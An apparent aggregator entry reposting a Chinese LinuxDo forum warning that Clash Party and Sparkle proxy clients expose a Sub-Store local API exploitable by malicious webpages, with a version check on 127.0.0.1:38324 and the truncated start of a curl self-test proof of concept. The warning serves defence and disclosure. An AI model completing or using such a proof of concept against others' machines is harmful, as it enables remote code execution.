Skip to main content

电脑中了远控木马，怀疑Mihomo Party有关，请马上卸载更换🌐 链接:

  1. 电脑中了远控木马，怀疑Mihomo Party有关，请马上卸载更换

    🌐 链接: https://linux.do/t/topic/2856720

    🔍 关键词: #api

    🏷️ 分组: LinuxDo论坛

    🕒 时间: 2026-09-04 22:51:11
    LINUX DO
    立即停用clash party 和 sparkle 代理软件，执行任意命令严重漏洞！我已被感染木马。
    已知clash party和 sparkle 受影响。 已确认是 sub-store的本地 API 漏洞被恶意网页利用，只要访问任意网站即可执行任意代码。 已确认投毒到cdn供应链中。 我是进入某博客被CDN投毒了： 排查 直接访问 http://127.0.0.1:38324 ， 返回的 JSON 里 version 字段就是内嵌 Sub-Store 版本；2.11.4到2.37.1受影响。 自测poc curl.exe -s -X POST "http://127.0.0.1…